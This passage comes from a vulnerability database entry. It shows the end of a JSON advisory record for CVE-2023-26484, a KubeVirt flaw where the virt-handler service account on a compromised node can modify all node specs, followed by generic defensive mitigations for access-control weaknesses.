"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26484"
},
{
"type": "WEB",
"url": "https://github.com/kubevirt/kubevirt/issues/9109"
},
{
"type": "PACKAGE",
"url": "https://github.com/kubevirt/kubevirt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "On a compromised node, the virt-handler service account can be used to modify all node specs"
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
No CAPEC attack patterns related to this CWE.